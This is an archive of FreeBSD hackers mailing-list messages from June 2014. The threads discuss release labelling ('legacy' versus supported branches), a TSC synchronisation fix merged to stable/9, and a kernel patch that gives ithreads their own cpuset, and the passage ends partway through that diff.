X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 18:35:46 -0000 --Apple-Mail-F691B4D3-9488-4E4A-9F26-B6139C9C04DA Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Legacy . . .=20 adjectiveCOMPUTING 1. denoting software or hardware that has been superseded but is difficult to r= eplace because of its wide use. What about that says unsupported ? --=20 Jason Hellenthal Voice: 95.30.17.6/616 JJH48-ARIN > On Jun 4, 2014, at 14:04, Jonathan Anderson wrote: >=20 > Tony Li wrote: >> What=E2=80=99s the problem with using =E2=80=98legacy=E2=80=99? >=20 > Is the problem actually that we're using the term "legacy", which some ven= dors use to mean "unsupported"? Perhaps we ought to say: >=20 > Supported releases: > Latest: 10.0 > Also supported: 9.2, 8.4 >=20 > or something more explicit about branch lifetimes (in keeping with the new= policy): >=20 > Supported branches: > 10.x - supported until x/y/zz, current release 10.0 > 9.x - supported until x/y/zz, current release 9.2 > 8.x - supported until x/y/zz, current release 8.4 >=20 > ? >=20 >=20 > Jon > --=20 > Jonathan Anderson > jonathan@FreeBSD.org > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= --Apple-Mail-F691B4D3-9488-4E4A-9F26-B6139C9C04DA Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwohwzANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTE0MDYwMzAzMzkyN1oXDTE1MDYwMzE4MDgxM1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBAJKGjiPzL417iKfMoeneq5efP1IaUUtMOy8yf+e7vO6k JF8PWpXPevNbHzgWqB+EyEqjlNdsIApe9dl8Pb4/wLxjGpeoI9h83WzblarnczZfK7s0eyT/qN0Q d9wFoX7ScyFdpFNW4TyCUNsRrqWkW1PM+nYcix9Ro9i9N89nQjIuND/2JZBgnGVys1yAqN6XF2e8 RAKlD1e5hJ3xyM7STk74Jex9b/D8jF/gmKTbJZ8zKST3VnEVIPTNUtDyCKrfwHEUT7PlLTPFBmXS YxbK33AkYF7hHR8YP1zzlShucaef1Fsqj1dz151XjqIvgLetfDUDQJTRKaQSqouYbQibC4sCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQUzDac0huOVpzovDj7gQlVDDg1z4swHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBABTurlkTDTe7R/3Va4AJzgeLybzHTijxvU9VE985fuKRBxS3x0cjKODM Gv4ynlsHCZHONGouIbuU1W0dcaiWA2Qxo0gqwXoGFZ65ERgRhot1n8UKQTvVKg/qhd2RGgqaqFFY qagXQAPglmpyvq3Hk6AN0E9XqAnbWCVaXUk0Al/TgZlCFtfE1NxfSkfF6u4ffkhj3AHHkbtBXsAe aSVF/ZJ7ET4Ji//oozVxJktOFQzb96HgMYKMk/YSznIqt3guY3KJbahQiVouWErvQaMYsXX5JUOQ YjnSa2/axNOTnUCPhDrgoS7BAJtJvNao8XWkRpp8RqqqhIywhrCsQlkRj7MwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 I3dNoXHYfYa8PlVLL/qtXnkFgdtY1o95CfegFJTwqBBmf8pyTUnFsukDFUI22zF5bVHzuJ+GxhnS qN2sD1qetbYwBYK2iyYA5Pg7Er1A+hKMIzEzcduRkIMmCeUTyMyikfbUFvIBivtvkR8ZFAk22BZy +pJfAoedO61HTz4qSfQoCRcLN5A0t4DkuVhTMXIzuQ8CnykhExD6x4e6ebIbrjZLb7L+ocR0y4Yj Cl/Pd4MXU91y0vTipgr/O75CDUHDRHCCKBVmz/Rzkc/b970MEeHt5LC3NiWTgBSvrLEuVzBKM586 YoRD9Dy3OHQgWI270g+5MYA8GfgI/EPT5G7xPbCDz+zjdH89PeR3U4So4lSXur6H6vp+m9TQXPF3 a0LwZrp8MQ+Z77U1uL7TelWO5lApsbAonrqASfTpaprFVkL4nyGH+NHST2ZJPWIBk81i6Vw0ny0q ZW2Niy/QvVNKbb43A43ny076khXO7cNbBIRdJ/6qQNq9Bqb5C0Q5nEsFcj75oxQRqlKf6TcvGbjx kJh8BYtv9ePsXklAxtm8J7GCUBthHSQgepbkOexhJ0wP8imUkyiPHQ0GvEnd83129fZjoEhdGwXV 27ioRKbj/cIq7JRXun0NbeY+UdMYu9jGfIpDLtUUGSgsg2zMGs5R4jCCB8kwggWxoAMCAQICAQEw DQYJKoZIhvcNAQEFBQAwfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzAp BgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0 Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MDkxNzE5NDYzNloXDTM2MDkxNzE5NDYz NlowfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3Vy ZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0Q29tIENlcnRpZmlj YXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwYjbCbxsRnx4 n5V7tTOQ8nJi1sE2ICIkXs7pd/JDCqIGZKTMjjb4OOYj8G5tsTzdcqOFHKHTPbQzK9Mvr/7qsEFZ Z7bEBn0KnnSF1nlMgDd63zkFUln39BtGQ6TShYXSw3HzdWI0uiyKfx6P7u000BHHls1SPboz1t1N 3gs7SkufwiYv+rUWHHI1d8o8XebK4SaLGjZ2XAHbdBQl/u21oIgP3XjKLR8HlzABLXJ5+kbWEyqo uaarg0kd5fLv3eQBjhgKj2NTFoViqQ4ZOsy1ZqbCa3QH5Cvhdj60bdj2ROFzYh87xL6gU1YlbFEJ 96qryr92/W2b853bvz1mvAxWqq+YSJU6S9+nWFDZOHWpW+pDDAL/mevobE1wWyllnN2qXcyvATHs DOvSjejqnHvmbvcnZgwaSNduQuM/3iE+e+ENcPtjqqhsGlS0XCV6yaLJixamuyx+F14FTVhuEh0B 7hIQDcYyfxj//PT6zW6R6DZJvhpIaYvClk0aErJpF8EKkNb6eSJIv7p7afhwx/p6N9jYDdJ2T1f/ kLfjkdLd78Jgt2c63f6qnPDUi39yIs7Gn5e2+K+KoBCo2fsYxra1XFI8ibYZKnMBCg8DsxJg8nov gdujbv8mMJf1i92JV7atPbOvK8W3dgLwpdYrmoYUKnL24zOMXQlLE9+7jHQTUksCAwEAAaOCAlIw ggJOMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgGuMB0GA1UdDgQWBBROC+8apEBbpRdphzDKNGhD 0EGu8jBkBgNVHR8EXTBbMCygKqAohiZodHRwOi8vY2VydC5zdGFydGNvbS5vcmcvc2ZzY2EtY3Js LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDCiHDMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDYwNDE4MzU0M1owIwYJKoZIhvcN AQkEMRYEFLnr7hsokBrb54/66oUXP8SINU3FMIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDCiHDMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMKIcMwDQYJKoZIhvcNAQEBBQAEggEAfpCZjRjRKcnojDGvtF4b vwkWuv+bU/zKROtUwFS/vtygCJwIVvQ1bYzIH74WiuE3zuBL/GACFvOlTwI0lwgUDUOpTfIwA2nF HPK0o4FA4Qt0lvllr0HZ7j8gw/niqCw/k2YcFImCgikg/ga2hu5Xmkp2Qo0aVA9oT+APhHMrkJWx B66DCZwJ6ATphcNjZoVqUDvUGvx/3MZ4sEYPWjKBDZX4IHpHNLXMTOqK64+aVyz48OVPA2PHLKJC KOakji+0NetR7wBgYfg/wtyqAaMaOKZkODM157Yq+qVk/tGL+FYqw3T+xDJ1wOpiv8z1wIukwuhn Brtv5W9SyQvxH5K/nQAAAAAAAA== --Apple-Mail-F691B4D3-9488-4E4A-9F26-B6139C9C04DA-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 18:56:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 903218FD; Wed, 4 Jun 2014 18:56:50 +0000 (UTC) Received: from mail-wi0-x235.google.com (mail-wi0-x235.google.com [IPv6:2a00:1450:400c:c05::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 04DA923FC; Wed, 4 Jun 2014 18:56:49 +0000 (UTC) Received: by mail-wi0-f181.google.com with SMTP id n15so2042801wiw.8 for ; Wed, 04 Jun 2014 11:56:46 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=gxJZR/Iti0oi8rQeX5KKTQ0DYD1WABDQYi6N16lPEqo=; b=avfIu82/QFlI05jbu4GcAyM4xHxQ2goEkRwehel+V/z9tRDp82/ETv3qJWExh4L8x/ CoFtv7MKxjHn6krpUhW99jK56GVlbMWZZuNBrxdzGtV2N5/J0+ix9IhR8Mis1Rf41/8h pLHmyzfx68C7dZddzwnRs1nT9R7aAzTBR5fdsXZaNfBmpzB5qQmzccH/tFXyliw6PFJ/ wKc23yiKp4Tvg6PUmEP8tONsoIZvfcUyKq4Su6qjmGwWIbol9Jw2uz588pUXeF+7iz8Z yeItz4FSvMx6ey3teyEMOsBrTP9mpUW2QghGiLGhk+/aLzAS+esAToV25Mi9ruzk/ccn PHsA== X-Received: by 10.15.26.135 with SMTP id n7mr3140406eeu.71.1401908206290; Wed, 04 Jun 2014 11:56:46 -0700 (PDT) Received: from mavbook.mavhome.dp.ua ([134.249.139.101]) by mx.google.com with ESMTPSA id i2sm7888541eem.11.2014.06.04.11.56.44 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 04 Jun 2014 11:56:45 -0700 (PDT) Sender: Alexander Motin Message-ID: <538F6BEC.6070300@FreeBSD.org> Date: Wed, 04 Jun 2014 21:56:44 +0300 From: Alexander Motin User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Jung-uk Kim , Chris Torek Subject: Re: kern.timecounter.smp_tsc_adjust References: <201406041732.s54HWDlE032048@elf.torek.net> <538F5C53.7060208@FreeBSD.org> In-Reply-To: <538F5C53.7060208@FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 18:56:50 -0000 On 04.06.2014 20:50, Jung-uk Kim wrote: > On 2014-06-04 13:32:13 -0400, Chris Torek wrote: >>> In any case, at least one, and maybe two, routines need their >>> types changed (and maybe the TSC_READ macro as well). Is it OK >>> to just assume the upper 32 bits are in sync? >> >> For whatever it may be worth, the following patch (to change >> everything to 64 bits) is boot-tested and no longer crashes the >> system that did crash with the unpatched version. It also >> successfully synchronized TSCs at least once (Intel based board >> with the "invariant TSC" bit set, 40 CPUs). >> >> Chris >> >> x86/tsc: fix SMP TSC adjustment code >> >> On SMP systems, if kern.timecounter.smp_tsc is set, the kernel >> attempts to determine whether the TSCs on the processors are >> sufficiently in-sync to be used for time counting. If not, and >> kern.timecounter.smp_tsc_adjust is set, we then attempt to adjust >> all the TSCs. >> >> The adjustment code assumed we kept a full 64-bit value for each >> TSC, but the data-gathering and comparison code used 32-bit values. >> As a result, if the timecounters were out of sync, the adjustment >> code could crash (depending on the number of CPUs). >> >> This converts everything to full 64-bit values. > ... > > It was done on head almost two years ago: > > http://svnweb.freebsd.org/changeset/base/239133 > > I guess mav forgot to MFC r239133 before r250772 (CC'ed): > > http://svnweb.freebsd.org/changeset/base/250772 Merged to stable/9. Thanks for the reminder. -- Alexander Motin From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 19:16:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C2690EC6 for ; Wed, 4 Jun 2014 19:16:57 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id AE38625FD; Wed, 4 Jun 2014 19:16:57 +0000 (UTC) Received: from janderson.engr.mun.ca (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.8/8.14.8) with ESMTP id s54JGtOL063795; Wed, 4 Jun 2014 19:16:56 GMT (envelope-from jonathan@FreeBSD.org) Message-ID: <538F70A8.4060904@FreeBSD.org> Date: Wed, 04 Jun 2014 16:46:56 -0230 From: Jonathan Anderson User-Agent: Postbox 3.0.10 (Macintosh/20140526) MIME-Version: 1.0 To: Jason Hellenthal Subject: Re: There is currently no usable release of FreeBSD. References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> <662C363E-A16E-48B2-9FBF-D2D4AB81733C@dataix.net> In-Reply-To: <662C363E-A16E-48B2-9FBF-D2D4AB81733C@dataix.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" , Tony Li X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 19:16:57 -0000 Jason Hellenthal wrote: > Legacy . . . > /adjective/ > COMPUTING > ** > > 1. > *1*. > denoting software or hardware that has been superseded but is > difficult to replace because of its wide use. > > > What about that says unsupported ? Sure, you're right about the dictionary definition, but in some usage (including among certain folks who build, package and use a popular open-source alternative to FreeBSD), people treat the word "legacy" as synonymous with "obsolete". Perhaps they shouldn't, but many do, and the original poster is trying to justify to the compliance-happy parts of an organisation why it's ok to base a company's future on something labelled as ${perceived-to-be-negative adjective}. So, rather than use words that are unclear (people in this conversation seem to have different perspectives on them), I suggest that we use unambiguous language: "branch X will be supported until x/y/zz". Jon -- Jonathan Anderson jonathan@FreeBSD.org From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 19:18:39 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 14123FC1; Wed, 4 Jun 2014 19:18:39 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 985D32613; Wed, 4 Jun 2014 19:18:38 +0000 (UTC) Received: from [2a02:6b8:0:401:222:4dff:fe50:cd2f] (helo=ptichko.yndx.net) by mail.ipfw.ru with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1WsCmx-0002I5-6i; Wed, 04 Jun 2014 19:07:39 +0400 Message-ID: <538F70AB.5030701@FreeBSD.org> Date: Wed, 04 Jun 2014 23:16:59 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: John Baldwin , freebsd-hackers@freebsd.org Subject: Re: Permit init(8) use its own cpuset group. References: <538C8F9A.4020301@FreeBSD.org> <20140602164850.GS3991@kib.kiev.ua> <201406041106.11659.jhb@freebsd.org> In-Reply-To: <201406041106.11659.jhb@freebsd.org> Content-Type: multipart/mixed; boundary="------------090404000700090306000808" X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Konstantin Belousov , hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 19:18:39 -0000 This is a multi-part message in MIME format. --------------090404000700090306000808 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit On 04.06.2014 19:06, John Baldwin wrote: > On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: >> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: >>> Hello list! >>> >>> Currently init(8) uses group 1 which is root group. >>> Modifications of this group affects both kernel and userland threads. >>> Additionally, such modifications are impossible, for example, in presence >>> of multi-queue NIC drivers (like igb or ixgbe) which binds their threads > to >>> particular cpus. >>> >>> Proposed change ("init_cpuset" loader tunable) permits changing cpu >>> masks for >>> userland more easily. Restricting user processes to migrate to/from CPU >>> cores >>> used for network traffic processing is one of the cases. >>> >>> Phabricator: https://phabric.freebsd.org/D141 (the same version attached >>> inline) >>> >>> If there are no objections, I'll commit this next week. >> Why is the tunable needed ? > Because some people already depend on doing 'cpuset -l 0 -s 1'. It is also > documented in our manpages that processes start in cpuset 1 by default so > that you can use 'cpuset -l 0 -s 1' to move all processes, etc. > > For the stated problem (bound ithreads in drivers), I would actually like to > fix ithreads that are bound to a specific CPU to create a different cpuset > instead so they don't conflict with set 1. Yes, this seem to be much better approach. Please take a look on the new patch (here or in the phabricator). Comments: Use different approach for modifyable root set: * Make sets in 0..15 internal * Define CPUSET_SET1 & CPUSET_ITHREAD in that range * Add cpuset_lookup_builtin() to retrieve such cpu sets by id * Create additional root set for ithreads * Use this set in ithread_create() * Change intr_setaffinity() to use cpuset_iroot (do we really need this)? We can probably do the same for kprocs, but I'm unsure if we really need it. > --------------090404000700090306000808 Content-Type: text/x-patch; name="D141_3.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="D141_3.diff" Index: sys/kern/kern_cpuset.c =================================================================== --- sys/kern/kern_cpuset.c +++ sys/kern/kern_cpuset.c @@ -112,7 +112,7 @@ SYSCTL_INT(_kern_sched, OID_AUTO, cpusetsize, CTLFLAG_RD, 0, sizeof(cpuset_t), "sizeof(cpuset_t)"); -cpuset_t *cpuset_root; +cpuset_t *cpuset_root, *cpuset_iroot; /* * Acquire a reference to a cpuset, all pointers must be tracked with refs. @@ -213,7 +213,7 @@ * Find a set based on an id. Returns it with a ref. */ static struct cpuset * -cpuset_lookup(cpusetid_t setid, struct thread *td) +cpuset_lookup_id(cpusetid_t setid) { struct cpuset *set; @@ -227,6 +227,17 @@ cpuset_ref(set); mtx_unlock_spin(&cpuset_lock); + return (set); +} + +static struct cpuset * +cpuset_lookup(cpusetid_t setid, struct thread *td) +{ + struct cpuset *set; + + set = cpuset_lookup_id(setid); + + KASSERT(td != NULL, ("[%s:%d] td is NULL", __func__, __LINE__)); if (set != NULL && jailed(td->td_ucred)) { struct cpuset *jset, *tset; @@ -245,6 +256,25 @@ } /* + * Find a set based on an id. Returns it with a ref. + */ +struct cpuset * +cpuset_lookup_builtin(cpusetid_t setid) +{ + struct cpuset *set; + + KASSERT(setid <= CPUSET_RESERVED_MAX, + ("[%s:%d] wrong set id: %d", __func__, __LINE__, setid)); + + set = cpuset_lookup_id(setid); + + KASSERT(set != NULL, + ("[%s:%d] set id %d not found", __func__, __LINE__, setid)); + + return (set); +} + +/* * Create a set in the space provided in 'set' with the provided parameters. * The set is returned with a single ref. May return EDEADLK if the set * will 